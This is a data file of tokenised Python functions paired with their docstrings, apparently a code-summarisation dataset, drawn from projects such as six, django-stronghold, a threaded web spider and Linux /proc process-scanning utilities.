{"signature": "def send(self, context, message, **kwargs):", "body": "context = context.copy()<EOL>context['<STR_LIT:message>'] = message<EOL>context.update(kwargs)<EOL>if '<STR_LIT>' not in context:<EOL><INDENT>if '<STR_LIT>' in context:<EOL><INDENT>context['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>elif '<STR_LIT>' in context:<EOL><INDENT>context['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>elif '<STR_LIT>' in context:<EOL><INDENT>context['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT><DEDENT>return super().__getattr__('<STR_LIT>')(**context)<EOL>", "docstring": "\u4fbf\u6377\u56de\u590d\u3002\u4f1a\u6839\u636e\u4f20\u5165\u7684context\u81ea\u52a8\u5224\u65ad\u56de\u590d\u5bf9\u8c61\n------------\n:param dict context: \u4e8b\u4ef6\u6536\u5230\u7684content\n:return: None\n:rtype: None\n------------", "id": "f847:c0:m38"}
{"signature": "def _add_doc(func, doc):", "body": "func.__doc__ = doc<EOL>", "docstring": "Add documentation to a function.", "id": "f851:m0"}
{"signature": "def _import_module(name):", "body": "__import__(name)<EOL>return sys.modules[name]<EOL>", "docstring": "Import module, returning the module after the last dot.", "id": "f851:m1"}
{"signature": "def add_move(move):", "body": "setattr(_MovedItems, move.name, move)<EOL>", "docstring": "Add an item to six.moves.", "id": "f851:m2"}
{"signature": "def remove_move(name):", "body": "try:<EOL><INDENT>delattr(_MovedItems, name)<EOL><DEDENT>except AttributeError:<EOL><INDENT>try:<EOL><INDENT>del moves.__dict__[name]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise AttributeError(\"<STR_LIT>\" % (name,))<EOL><DEDENT><DEDENT>", "docstring": "Remove item from six.moves.", "id": "f851:m3"}
{"signature": "def iterkeys(d, **kw):", "body": "return iter(getattr(d, _iterkeys)(**kw))<EOL>", "docstring": "Return an iterator over the keys of a dictionary.", "id": "f851:m4"}
{"signature": "def itervalues(d, **kw):", "body": "return iter(getattr(d, _itervalues)(**kw))<EOL>", "docstring": "Return an iterator over the values of a dictionary.", "id": "f851:m5"}
{"signature": "def iteritems(d, **kw):", "body": "return iter(getattr(d, _iteritems)(**kw))<EOL>", "docstring": "Return an iterator over the (key, value) pairs of a dictionary.", "id": "f851:m6"}
{"signature": "def iterlists(d, **kw):", "body": "return iter(getattr(d, _iterlists)(**kw))<EOL>", "docstring": "Return an iterator over the (key, [values]) pairs of a dictionary.", "id": "f851:m7"}
{"signature": "def with_metaclass(meta, *bases):", "body": "return meta(\"<STR_LIT>\", bases, {})<EOL>", "docstring": "Create a base class with a metaclass.", "id": "f851:m8"}
{"signature": "def add_metaclass(metaclass):", "body": "def wrapper(cls):<EOL><INDENT>orig_vars = cls.__dict__.copy()<EOL>orig_vars.pop('<STR_LIT>', None)<EOL>orig_vars.pop('<STR_LIT>', None)<EOL>for slots_var in orig_vars.get('<STR_LIT>', ()):<EOL><INDENT>orig_vars.pop(slots_var)<EOL><DEDENT>return metaclass(cls.__name__, cls.__bases__, orig_vars)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Class decorator for creating a class with a metaclass.", "id": "f851:m9"}
{"signature": "def pypi_render(source):", "body": "ALLOWED_SCHEMES = '''<STR_LIT>'''.split()<EOL>settings_overrides = {<EOL>\"<STR_LIT>\": <NUM_LIT:0>,  <EOL>\"<STR_LIT>\": <NUM_LIT:0>,  <EOL>\"<STR_LIT>\": <NUM_LIT:2>,  <EOL>\"<STR_LIT>\": <NUM_LIT:5>,  <EOL>}<EOL>old_stderr = sys.stderr<EOL>sys.stderr = s = io.StringIO()<EOL>parts = None<EOL>try:<EOL><INDENT>document = publish_doctree(source=source,<EOL>settings_overrides=settings_overrides)<EOL>for node in document.traverse():<EOL><INDENT>if node.tagname == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>if node.hasattr('<STR_LIT>'):<EOL><INDENT>uri = node['<STR_LIT>']<EOL><DEDENT>elif node.hasattr('<STR_LIT>'):<EOL><INDENT>uri = node['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>continue<EOL><DEDENT>o = urllib.parse.urlparse(uri)<EOL>if o.scheme not in ALLOWED_SCHEMES:<EOL><INDENT>raise TransformError('<STR_LIT>')<EOL><DEDENT><DEDENT>reader = readers.doctree.Reader(parser_name='<STR_LIT:null>')<EOL>pub = Publisher(reader, source=io.DocTreeInput(document),<EOL>destination_class=io.StringOutput)<EOL>pub.set_writer('<STR_LIT:html>')<EOL>pub.process_programmatic_settings(None, settings_overrides, None)<EOL>pub.set_destination(None, None)<EOL>pub.publish()<EOL>parts = pub.writer.parts<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>sys.stderr = old_stderr<EOL>if parts is None or len(s.getvalue()) > <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>return parts['<STR_LIT:body>']<EOL><DEDENT>", "docstring": "Copied (and slightly adapted) from pypi.description_tools", "id": "f855:m0"}
{"signature": "def getProcessOwner(pid):", "body": "try:<EOL><INDENT>ownerUid = os.stat('<STR_LIT>' + str(pid)).st_uid<EOL><DEDENT>except:<EOL><INDENT>return None<EOL><DEDENT>try:<EOL><INDENT>ownerName = pwd.getpwuid(ownerUid).pw_name<EOL><DEDENT>except:<EOL><INDENT>ownerName = None<EOL><DEDENT>return {<EOL>'<STR_LIT>' : ownerUid,<EOL>'<STR_LIT:name>' : ownerName<EOL>}<EOL>", "docstring": "getProcessOwner - Get the process owner of a pid\n\n@param pid <int> - process id\n\n@return - None if process not found or can't be determined. Otherwise, a dict: \n    {\n        uid  - Owner UID\n        name - Owner name, or None if one cannot be determined\n    }", "id": "f857:m0"}
{"signature": "def getProcessOwnerStr(pid):", "body": "ownerInfo = getProcessOwner(pid)<EOL>if ownerInfo:<EOL><INDENT>if ownerInfo['<STR_LIT:name>']:<EOL><INDENT>owner = ownerInfo['<STR_LIT:name>']<EOL><DEDENT>else:<EOL><INDENT>owner = str(ownerInfo['<STR_LIT>'])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>owner = '<STR_LIT>'<EOL><DEDENT>return owner<EOL>", "docstring": "getProcessOwner - Get Process owner of a pid as a string instead of components (#getProcessOwner)\n\n@return - Returns username if it can be determined, otherwise uid, otherwise \"unknown\"", "id": "f857:m1"}
{"signature": "def getProcessCommandLineStr(pid):", "body": "try:<EOL><INDENT>with open('<STR_LIT>' %(int(pid),), '<STR_LIT:r>') as f:<EOL><INDENT>cmdline = f.read()<EOL><DEDENT>return cmdline.replace('<STR_LIT:\\x00>', '<STR_LIT:U+0020>')<EOL><DEDENT>except:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "getProcessCommandLineStr - Gets a the commandline (program + arguments) of a given pid\n\n@param pid <int> - Process ID\n\n@return - None if process not found or can't be determined. Otherwise a string of commandline.\n\n@note Caution, args may have spaces in them, and you cannot surmise from this method. If you care (like trying to replay a command), use getProcessCommandLineList instead", "id": "f857:m2"}
{"signature": "def getProcessCommandLineList(pid):", "body": "try:<EOL><INDENT>with open('<STR_LIT>' %(int(pid),), '<STR_LIT:r>') as f:<EOL><INDENT>cmdline = f.read()<EOL><DEDENT>return cmdline.split('<STR_LIT:\\x00>')<EOL><DEDENT>except:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "getProcessCommandLineList - Gets the commandline (program + argumentS) of a given pid as a list.\n\n@param pid <int> - Process ID\n\n@return - None if process not found or can't be determined. Otherwise a list representing argv. First argument is process name, remainder are arguments.\n\n@note - Use this if you care about whether a process had a space in the commands", "id": "f857:m3"}
{"signature": "def getProcessCwd(pid):", "body": "try:<EOL><INDENT>cwd = os.readlink('<STR_LIT>' %(int(pid), ))<EOL>return cwd<EOL><DEDENT>except:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "getProcessCwd - Gets the cwd (current working directory) of a given pid\n\n@param pid <int> - Process ID\n\n@return <str/None> - None if process not found or can't be determined. Otherwise, a string of the CWD", "id": "f857:m4"}
{"signature": "def getAllRunningPids():", "body": "return [int(x) for x in os.listdir('<STR_LIT>') if x.isdigit()]<EOL>", "docstring": "getAllRunningPids - Gets list of all pids that are running on a given system\n\n@return <list<int>> - A list of pids (process IDs).", "id": "f857:m5"}
{"signature": "def scanProcessForCwd(pid, searchPortion, isExactMatch=False):", "body": "try:   <EOL><INDENT>try:<EOL><INDENT>pid = int(pid)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>sys.stderr.write('<STR_LIT>' %(str(type(pid)),))<EOL>raise e<EOL><DEDENT>cwd = getProcessCwd(pid)<EOL>if not cwd:<EOL><INDENT>return None<EOL><DEDENT>isMatch = False<EOL>if isExactMatch is True:<EOL><INDENT>if searchPortion == cwd:<EOL><INDENT>isMatch = True<EOL><DEDENT>else:<EOL><INDENT>if searchPortion.endswith('<STR_LIT:/>') and searchPortion[:-<NUM_LIT:1>] == cwd:<EOL><INDENT>isMatch = True<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if searchPortion in cwd:<EOL><INDENT>isMatch = True<EOL><DEDENT>else:<EOL><INDENT>if searchPortion.endswith('<STR_LIT:/>') and searchPortion[:-<NUM_LIT:1>] in cwd:<EOL><INDENT>isMatch = True<EOL><DEDENT><DEDENT><DEDENT>if not isMatch:<EOL><INDENT>return None<EOL><DEDENT>cmdline = getProcessCommandLineStr(pid)<EOL>owner   = getProcessOwnerStr(pid)<EOL>return {<EOL>'<STR_LIT>' : searchPortion,<EOL>'<STR_LIT>'           : pid,<EOL>'<STR_LIT>'         : owner,<EOL>'<STR_LIT>'       : cmdline,<EOL>'<STR_LIT>'           : cwd,<EOL>}<EOL><DEDENT>except OSError:<EOL><INDENT>return None<EOL><DEDENT>except IOError:<EOL><INDENT>return None<EOL><DEDENT>except FileNotFoundError:<EOL><INDENT>return None<EOL><DEDENT>except PermissionError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "scanProcessForCwd - Searches a given pid's cwd for a given pattern\n\n    @param pid <int> - A running process ID on this system\n    @param searchPortion <str> - Any portion of directory to search\n    @param isExactMatch <bool> Default False - If match should be exact, otherwise a partial match is performed.\n\n    @return <dict> - If result is found, the following dict is returned. If no match found on the given pid, or pid is not found running, None is returned.\n        {\n            'searchPortion' : The passed search pattern\n            'pid'           : The passed pid (as an integer)\n            'owner'         : String of process owner, or uid if no mapping can be found, or \"unknown\" if neither could be determined.\n            'cmdline'       : Commandline string\n            'cwd'           : The exact cwd of matched process\n        }", "id": "f857:m6"}
{"signature": "def scanAllProcessesForCwd(searchPortion, isExactMatch=False):", "body": "pids = getAllRunningPids()<EOL>cwdResults = [scanProcessForCwd(pid, searchPortion, isExactMatch) for pid in pids]<EOL>ret = {}<EOL>for i in range(len(pids)):<EOL><INDENT>if cwdResults[i] is not None:<EOL><INDENT>ret[pids[i]] = cwdResults[i]<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "scanAllProcessesForCwd - Scans all processes on the system for a given search pattern.\n\n    @param searchPortion <str> - Any portion of directory to search\n    @param isExactMatch <bool> Default False - If match should be exact, otherwise a partial match is performed.\n\n@return - <dict> - A dictionary of pid -> cwdResults for each pid that matched the search pattern. For format of \"cwdResults\", @see scanProcessForCwd", "id": "f857:m7"}
{"signature": "def scanProcessForMapping(pid, searchPortion, isExactMatch=False, ignoreCase=False):", "body": "try:   <EOL><INDENT>try:<EOL><INDENT>pid = int(pid)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>sys.stderr.write('<STR_LIT>' %(str(type(pid)),))<EOL>raise e<EOL><DEDENT>with open('<STR_LIT>' %(pid,), '<STR_LIT:r>') as f:<EOL><INDENT>contents = f.read()<EOL><DEDENT>lines = contents.split('<STR_LIT:\\n>')<EOL>matchedMappings = []<EOL>if isExactMatch is True:<EOL><INDENT>if ignoreCase is False:<EOL><INDENT>isMatch = lambda searchFor, searchIn : bool(searchFor == searchIn)<EOL><DEDENT>else:<EOL><INDENT>isMatch = lambda searchFor, searchIn : bool(searchFor.lower() == searchIn.lower())<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if ignoreCase is False:<EOL><INDENT>isMatch = lambda searchFor, searchIn : bool(searchFor in searchIn)<EOL><DEDENT>else:<EOL><INDENT>isMatch = lambda searchFor, searchIn : bool(searchFor.lower() in searchIn.lower())<EOL><DEDENT><DEDENT>for line in lines:<EOL><INDENT>portion = '<STR_LIT:U+0020>'.join(line.split('<STR_LIT:U+0020>')[<NUM_LIT:5>:]).lstrip()<EOL>if isMatch(searchPortion, portion):<EOL><INDENT>matchedMappings.append('<STR_LIT:\\t>' + line)<EOL><DEDENT><DEDENT>if len(matchedMappings) == <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>cmdline = getProcessCommandLineStr(pid)<EOL>owner   = getProcessOwnerStr(pid)<EOL>return {<EOL>'<STR_LIT>' : searchPortion,<EOL>'<STR_LIT>'           : pid,<EOL>'<STR_LIT>'         : owner,<EOL>'<STR_LIT>'       : cmdline,<EOL>'<STR_LIT>' : matchedMappings,<EOL>}<EOL><DEDENT>except OSError:<EOL><INDENT>return None<EOL><DEDENT>except IOError:<EOL><INDENT>return None<EOL><DEDENT>except FileNotFoundError:<EOL><INDENT>return None<EOL><DEDENT>except PermissionError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "scanProcessForMapping - Searches a given pid's mappings for a certain pattern.\n\n    @param pid <int> - A running process ID on this system\n    @param searchPortion <str> - A mapping for which to search, example: libc or python or libz.so.1. Give empty string to return all mappings.\n    @param isExactMatch <bool> Default False - If match should be exact, otherwise a partial match is performed.\n    @param ignoreCase <bool> Default False - If True, search will be performed case-insensitively\n\n    @return <dict> - If result is found, the following dict is returned. If no match found on the given pid, or pid is not found running, None is returned.\n        {\n            'searchPortion' : The passed search pattern\n            'pid'           : The passed pid (as an integer)\n            'owner'         : String of process owner, or uid if no mapping can be found, or \"unknown\" if neither could be determined.\n            'cmdline'       : Commandline string\n            'matchedMappings' : All mappings likes that matched the given search pattern\n        }", "id": "f857:m8"}
{"signature": "def scanAllProcessesForMapping(searchPortion, isExactMatch=False, ignoreCase=False):", "body": "pids = getAllRunningPids()<EOL>mappingResults = [scanProcessForMapping(pid, searchPortion, isExactMatch, ignoreCase) for pid in pids]<EOL>ret = {}<EOL>for i in range(len(pids)):<EOL><INDENT>if mappingResults[i] is not None:<EOL><INDENT>ret[pids[i]] = mappingResults[i]<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "scanAllProcessesForMapping - Scans all processes on the system for a given search pattern.\n\n    @param searchPortion <str> - A mapping for which to search, example: libc or python or libz.so.1. Give empty string to return all mappings.\n    @param isExactMatch <bool> Default False - If match should be exact, otherwise a partial match is performed.\n    @param ignoreCase <bool> Default False - If True, search will be performed case-insensitively\n\n@return - <dict> - A dictionary of pid -> mappingResults for each pid that matched the search pattern. For format of \"mappingResults\", @see scanProcessForMapping", "id": "f857:m9"}
{"signature": "def scanProcessForOpenFile(pid, searchPortion, isExactMatch=True, ignoreCase=False):", "body": "try:<EOL><INDENT>try:<EOL><INDENT>pid = int(pid)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>sys.stderr.write('<STR_LIT>' %(str(type(pid)),))<EOL>raise e<EOL><DEDENT>prefixDir = \"<STR_LIT>\" % (pid,)<EOL>processFDs = os.listdir(prefixDir)<EOL>matchedFDs = []<EOL>matchedFilenames = []<EOL>if isExactMatch is True:<EOL><INDENT>if ignoreCase is False:<EOL><INDENT>isMatch = lambda searchFor, totalPath : bool(searchFor == totalPath)<EOL><DEDENT>else:<EOL><INDENT>isMatch = lambda searchFor, totalPath : bool(searchFor.lower() == totalPath.lower())<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if ignoreCase is False:<EOL><INDENT>isMatch = lambda searchFor, totalPath : bool(searchFor in totalPath)<EOL><DEDENT>else:<EOL><INDENT>isMatch = lambda searchFor, totalPath : bool(searchFor.lower() in totalPath.lower())<EOL><DEDENT><DEDENT>for fd in processFDs:<EOL><INDENT>fdPath = os.readlink(prefixDir + '<STR_LIT:/>' + fd)<EOL>if isMatch(searchPortion, fdPath):<EOL><INDENT>matchedFDs.append(fd)<EOL>matchedFilenames.append(fdPath)<EOL><DEDENT><DEDENT>if len(matchedFDs) == <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>cmdline = getProcessCommandLineStr(pid)<EOL>owner   = getProcessOwnerStr(pid)<EOL>return {<EOL>'<STR_LIT>' : searchPortion,<EOL>'<STR_LIT>'           : pid,<EOL>'<STR_LIT>'         : owner,<EOL>'<STR_LIT>'       : cmdline,<EOL>'<STR_LIT>'           : matchedFDs,<EOL>'<STR_LIT>'     : matchedFilenames, <EOL>}<EOL><DEDENT>except OSError:<EOL><INDENT>return None<EOL><DEDENT>except IOError:<EOL><INDENT>return None<EOL><DEDENT>except FileNotFoundError:<EOL><INDENT>return None<EOL><DEDENT>except PermissionError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "scanProcessForOpenFile - Scans open FDs for a given pid to see if any are the provided searchPortion\n\n    @param searchPortion <str> - Filename to check\n    @param isExactMatch <bool> Default True - If match should be exact, otherwise a partial match is performed.\n    @param ignoreCase <bool> Default False - If True, search will be performed case-insensitively\n\n@return -  If result is found, the following dict is returned. If no match found on the given pid, or the pid is not found running, None is returned.\n        {\n            'searchPortion' : The search portion provided\n            'pid'           : The passed pid (as an integer)\n            'owner'         : String of process owner, or \"unknown\" if one could not be determined\n            'cmdline'       : Commandline string\n            'fds'           : List of file descriptors assigned to this file (could be mapped several times)\n            'filenames'     : List of the filenames matched\n        }", "id": "f857:m10"}
{"signature": "def scanAllProcessesForOpenFile(searchPortion, isExactMatch=True, ignoreCase=False):", "body": "pids = getAllRunningPids()<EOL>mappingResults = [scanProcessForOpenFile(pid, searchPortion, isExactMatch, ignoreCase) for pid in pids]<EOL>ret = {}<EOL>for i in range(len(pids)):<EOL><INDENT>if mappingResults[i] is not None:<EOL><INDENT>ret[pids[i]] = mappingResults[i]<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "scanAllProcessessForOpenFile - Scans all processes on the system for a given filename\n\n    @param searchPortion <str> - Filename to check\n    @param isExactMatch <bool> Default True - If match should be exact, otherwise a partial match is performed.\n    @param ignoreCase <bool> Default False - If True, search will be performed case-insensitively\n\n@return - <dict> - A dictionary of pid -> mappingResults for each pid that matched the search pattern. For format of \"mappingResults\", @see scanProcessForOpenFile", "id": "f857:m11"}
{"signature": "def database_creator():", "body": "global database<EOL>if database is None:<EOL><INDENT>database = Database()<EOL><DEDENT>return database<EOL>", "docstring": "make sure you have only one instance of Database\n\n    :return: DataBase's instance", "id": "f863:m0"}
{"signature": "def get_entry_urls(self, urls=list()):", "body": "try:<EOL><INDENT>assert type(urls) in VALIDATE_URLS<EOL><DEDENT>except AssertionError:<EOL><INDENT>error_message('<STR_LIT>')<EOL><DEDENT>if len(urls):<EOL><INDENT>for i in range(self.main_thread_number):<EOL><INDENT>self.append_main_thread()<EOL><DEDENT>for url in urls:<EOL><INDENT>self.main_queue.put(url)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>error_message('<STR_LIT>')<EOL><DEDENT>", "docstring": ":param urls: url you want to fetch\n:return: None", "id": "f866:c0:m1"}
{"signature": "def append_main_thread(self):", "body": "thread = MainThread(main_queue=self.main_queue,<EOL>main_spider=self.main_spider,<EOL>branch_spider=self.branch_spider)<EOL>thread.daemon = True<EOL>thread.start()<EOL>", "docstring": "create & start main thread\n\n        :return: None", "id": "f866:c0:m2"}
{"signature": "def run(self):", "body": "config = config_creator()<EOL>debug = config.debug<EOL>branch_thread_sleep = config.branch_thread_sleep<EOL>while <NUM_LIT:1>:<EOL><INDENT>url = self.branch_queue.get()<EOL>if debug:<EOL><INDENT>print('<STR_LIT>'.format(url))<EOL><DEDENT>branch_spider = self.branch_spider(url)<EOL>sleep(random.randrange(*branch_thread_sleep))<EOL>branch_spider.request_page()<EOL>if debug:<EOL><INDENT>print('<STR_LIT>'.format(url))<EOL><DEDENT>self.branch_queue.task_done()<EOL><DEDENT>", "docstring": "run your main spider here\n        as for branch spider result data, you can return everything or do whatever with it\n        in your own code\n\n        :return: None", "id": "f867:c0:m1"}
{"signature": "def run(self):", "body": "global existed_urls_list<EOL>config = config_creator()<EOL>debug = config.debug<EOL>main_thread_sleep = config.main_thread_sleep<EOL>branch_thread_num = config.branch_thread_num<EOL>while <NUM_LIT:1>:<EOL><INDENT>url = self.main_queue.get()<EOL>if debug:<EOL><INDENT>print('<STR_LIT>'.format(url))<EOL><DEDENT>main_spider = self.main_spider(url)<EOL>sleep(random.randrange(*main_thread_sleep))<EOL>links = main_spider.request_urls()<EOL>try:<EOL><INDENT>assert type(links) in VALIDATE_URLS<EOL><DEDENT>except AssertionError:<EOL><INDENT>error_message('<STR_LIT>')<EOL>links = list()<EOL><DEDENT>branch_queue = queue.Queue(branch_thread_num)<EOL>for i in range(branch_thread_num):<EOL><INDENT>branch_thread = BranchThread(branch_queue=branch_queue,<EOL>branch_spider=self.branch_spider)<EOL>branch_thread.daemon = True<EOL>branch_thread.start()<EOL><DEDENT>for link in links:<EOL><INDENT>if link not in existed_urls_list:<EOL><INDENT>existed_urls_list.append(link)<EOL>branch_queue.put(link)<EOL><DEDENT><DEDENT>branch_queue.join()<EOL>if debug:<EOL><INDENT>print('<STR_LIT>'.format(url))<EOL><DEDENT>self.main_queue.task_done()<EOL><DEDENT>", "docstring": "run your main spider here, and get a list/tuple of url as result\n        then make the instance of branch thread\n\n        :return: None", "id": "f869:c0:m1"}
{"signature": "def colorful_text(text, color=Fore.RESET):", "body": "return color + text + Fore.RESET<EOL>", "docstring": "make target text colorful\n\n    :param text: target text\n    :param color\n    :return: colored text", "id": "f872:m0"}
{"signature": "def error_message(message='<STR_LIT>'):", "body": "print(colorful_text(message, Fore.RED))<EOL>", "docstring": "print the error message in red color\n\n    :param message: error message\n    :return: None", "id": "f872:m1"}
{"signature": "def set_authenticated(self, is_authenticated):", "body": "user = self.request.user<EOL>user.is_authenticated.return_value = is_authenticated<EOL>user.is_authenticated.__bool__ = lambda self: is_authenticated<EOL>user.is_authenticated.__nonzero__ = lambda self: is_authenticated<EOL>", "docstring": "Set whether user is authenticated in the request.", "id": "f876:c1:m1"}
{"signature": "def is_view_func_public(func):", "body": "return getattr(func, '<STR_LIT>', False)<EOL>", "docstring": "Returns whether a view is public or not (ie/ has the STRONGHOLD_IS_PUBLIC\nattribute set)", "id": "f882:m0"}
{"signature": "def set_view_func_public(func):", "body": "setattr(func, '<STR_LIT>', True)<EOL>", "docstring": "Set the STRONGHOLD_IS_PUBLIC attribute on a given function to True", "id": "f882:m1"}
{"signature": "def is_authenticated(user):", "body": "try:<EOL><INDENT>return user.is_authenticated()<EOL><DEDENT>except TypeError:<EOL><INDENT>return user.is_authenticated<EOL><DEDENT>", "docstring": "make compatible with django 1 and 2", "id": "f883:m0"}
{"signature": "def public(function):", "body": "orig_func = function<EOL>while isinstance(orig_func, partial):<EOL><INDENT>orig_func = orig_func.func<EOL><DEDENT>set_view_func_public(orig_func)<EOL>return function<EOL>", "docstring": "Decorator for public views that do not require authentication\nSets an attribute in the fuction STRONGHOLD_IS_PUBLIC to True", "id": "f884:m0"}
{"signature": "def get_sanitizer(self):", "body": "sanitizer = self.sanitizer<EOL>if not sanitizer:<EOL><INDENT>default_sanitizer = settings.CONFIG.get(self.SANITIZER_KEY)<EOL>field_settings = getattr(self, '<STR_LIT>', None)<EOL>if isinstance(field_settings, six.string_types):<EOL><INDENT>profiles = settings.CONFIG.get(self.SANITIZER_PROFILES_KEY, {})<EOL>sanitizer = profiles.get(field_settings, default_sanitizer)<EOL><DEDENT>else:<EOL><INDENT>sanitizer = default_sanitizer<EOL><DEDENT><DEDENT>if isinstance(sanitizer, six.string_types):<EOL><INDENT>sanitizer = import_string(sanitizer)<EOL><DEDENT>return sanitizer or noop<EOL>", "docstring": "Get the field sanitizer.\n\nThe priority is the first defined in the following order:\n- A sanitizer provided to the widget.\n- Profile (field settings) specific sanitizer, if defined in settings.\n- Global sanitizer defined in settings.\n- Simple no-op sanitizer which just returns the provided value.", "id": "f903:c0:m1"}
{"signature": "def get_field_settings(self):", "body": "field_settings = None<EOL>if self.field_settings:<EOL><INDENT>if isinstance(self.field_settings, six.string_types):<EOL><INDENT>profiles = settings.CONFIG.get(self.PROFILE_KEY, {})<EOL>field_settings = profiles.get(self.field_settings)<EOL><DEDENT>else:<EOL><INDENT>field_settings = self.field_settings<EOL><DEDENT><DEDENT>return field_settings<EOL>", "docstring": "Get the field settings, if the configured setting is a string try\nto get a 'profile' from the global config.", "id": "f907:c0:m2"}
{"signature": "def value_from_datadict(self, *args, **kwargs):", "body": "value = super(RichTextWidget, self).value_from_datadict(<EOL>*args, **kwargs)<EOL>if value is not None:<EOL><INDENT>value = self.get_sanitizer()(value)<EOL><DEDENT>return value<EOL>", "docstring": "Pass the submitted value through the sanitizer before returning it.", "id": "f907:c0:m4"}
{"signature": "def clean(self, value, model_instance):", "body": "value = self.to_python(value)<EOL>if value is not None:<EOL><INDENT>value = self.get_sanitizer()(value)<EOL><DEDENT>self.validate(value, model_instance)<EOL>self.run_validators(value)<EOL>return value<EOL>", "docstring": "Convert the value's type, sanitize it, and run validation. Validation\nerrors from to_python() and validate() are propagated. Return the\ncorrect value if no error is raised.", "id": "f908:c0:m2"}
{"signature": "@task(name='<STR_LIT>',<EOL>help={<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>},<EOL>)<EOL>def fresh_cookies(ctx, mold='<STR_LIT>'):", "body": "mold = mold or \"<STR_LIT>\"  <EOL>tmpdir = os.path.join(tempfile.gettempdir(), \"<STR_LIT>\")<EOL>if os.path.isdir('<STR_LIT>'):<EOL><INDENT>pass<EOL><DEDENT>if os.path.isdir(tmpdir):<EOL><INDENT>shutil.rmtree(tmpdir)<EOL><DEDENT>if os.path.exists(mold):<EOL><INDENT>shutil.copytree(mold, tmpdir, ignore=shutil.ignore_patterns(<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>))<EOL><DEDENT>else:<EOL><INDENT>ctx.run(\"<STR_LIT>\".format(mold, tmpdir))<EOL><DEDENT>shutil.copy2(\"<STR_LIT>\", tmpdir)<EOL>with pushd('<STR_LIT:..>'):<EOL><INDENT>ctx.run(\"<STR_LIT>\".format(tmpdir))<EOL><DEDENT>if os.path.exists('<STR_LIT>'):<EOL><INDENT>ctx.run(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Refresh the project from the original cookiecutter template.", "id": "f913:m0"}
{"signature": "@task(help={<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>})  <EOL>def ci(ctx):", "body": "opts = ['<STR_LIT>']<EOL>if os.environ.get('<STR_LIT>', '<STR_LIT>').lower() == '<STR_LIT:true>':<EOL><INDENT>opts += ['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>opts += ['<STR_LIT>']<EOL><DEDENT>ctx.run(\"<STR_LIT>\".format('<STR_LIT:U+0020>'.join(opts)))<EOL>", "docstring": "Perform continuous integration tasks.", "id": "f913:m1"}
{"signature": "def setup(app):", "body": "lexer = MarkdownLexer()<EOL>for alias in lexer.aliases:<EOL><INDENT>app.add_lexer(alias, lexer)<EOL><DEDENT>return dict(version=__version__)<EOL>", "docstring": "Initializer for Sphinx extension API.\n\n        See http://www.sphinx-doc.org/en/stable/extdev/index.html#dev-extensions.", "id": "f916:m0"}
{"signature": "def srcfile(*args):", "body": "return os.path.join(*((project_root,) + args))<EOL>", "docstring": "Helper for path building.", "id": "f921:m0"}
{"signature": "def _build_metadata(): ", "body": "<EOL>expected_keys = ('<STR_LIT:url>', '<STR_LIT:version>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>metadata = {}<EOL>with io.open(srcfile('<STR_LIT:src>', package_name, '<STR_LIT>'), encoding='<STR_LIT:utf-8>') as handle:<EOL><INDENT>pkg_init = handle.read()<EOL>metadata['<STR_LIT>'] = re.search(r'<STR_LIT>', pkg_init, re.DOTALL|re.MULTILINE).group(<NUM_LIT:1>)<EOL>for line in pkg_init.splitlines():<EOL><INDENT>match = re.match(r\"\"\"<STR_LIT>\"\"\".format('<STR_LIT:|>'.join(expected_keys)), line)<EOL>if match:<EOL><INDENT>metadata[match.group(<NUM_LIT:1>)] = match.group(<NUM_LIT:3>)<EOL><DEDENT><DEDENT><DEDENT>if not all(i in metadata for i in expected_keys):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>.format(name, '<STR_LIT:U+002CU+0020>'.join(sorted(set(expected_keys) - set(metadata.keys()))),))<EOL><DEDENT>text = metadata['<STR_LIT>'].strip()<EOL>if text:<EOL><INDENT>metadata['<STR_LIT:description>'], text = text.split('<STR_LIT:.>', <NUM_LIT:1>)<EOL>metadata['<STR_LIT:description>'] = '<STR_LIT:U+0020>'.join(metadata['<STR_LIT:description>'].split()).strip() + '<STR_LIT:.>' <EOL>metadata['<STR_LIT>'] = textwrap.dedent(text).strip()<EOL><DEDENT>metadata['<STR_LIT>'] = metadata['<STR_LIT>'].replace('<STR_LIT:U+002C>', '<STR_LIT:U+0020>').strip().split()<EOL>requirements_files = dict(<EOL>install = '<STR_LIT>',<EOL>setup = '<STR_LIT>',<EOL>test = '<STR_LIT>',<EOL>)<EOL>requires = {}<EOL>for key, filename in requirements_files.items():<EOL><INDENT>requires[key] = []<EOL>if os.path.exists(srcfile(filename)):<EOL><INDENT>with io.open(srcfile(filename), encoding='<STR_LIT:utf-8>') as handle:<EOL><INDENT>for line in handle:<EOL><INDENT>line = line.strip()<EOL>if line and not 